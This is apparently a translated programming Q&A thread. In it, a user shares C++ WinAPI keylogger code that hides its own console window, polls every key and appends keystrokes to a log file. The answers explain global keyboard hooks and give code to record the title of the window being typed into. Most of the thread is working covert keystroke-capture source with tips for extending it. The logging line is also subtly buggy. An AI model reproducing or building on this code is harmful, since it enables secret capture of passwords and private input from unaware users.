我正在尝试使用WinAPI在C ++中编写一个简单的键盘记录器。有没有办法获取用户正在键入捕获的击键的应用程序? 到目前为止,这是我的代码:
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int main()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
{
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen("LOG.txt", "a+");
int c=static_cast<int>(i);
fprintf(OUTPUT_FILE, "%s", &c);
fclose (OUTPUT_FILE);
}
}
}
system ("PAUSE");
return 0;
}
答案 0 :(得分:3)
你想要的是global keyboard hook
全局钩子监视同一桌面中所有线程的消息 调用线程。特定于线程的挂钩仅监视消息 个人主题。可以在中调用全局钩子过程 与调用线程在同一桌面中的任何应用程序的上下文, 所以该过程必须在一个单独的DLL模块中。特定于线程 钩子过程仅在关联线程的上下文中调用。 如果应用程序为其自己的某个安装了一个钩子过程 线程,钩子程序可以在与...相同的模块中 其余的应用程序代码或DLL。如果申请 为不同应用程序的线程安装一个钩子程序 过程必须在DLL中。有关信息,请参阅动态链接 库。
答案 1 :(得分:0)
因为问题是“有没有办法获取用户输入捕获的击键的应用程序?” 我会说使用HWND WINAPI GetForegroundWindow(void);
例如:
char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
在cWindow中,您将获得用户正在键入的窗口的标题。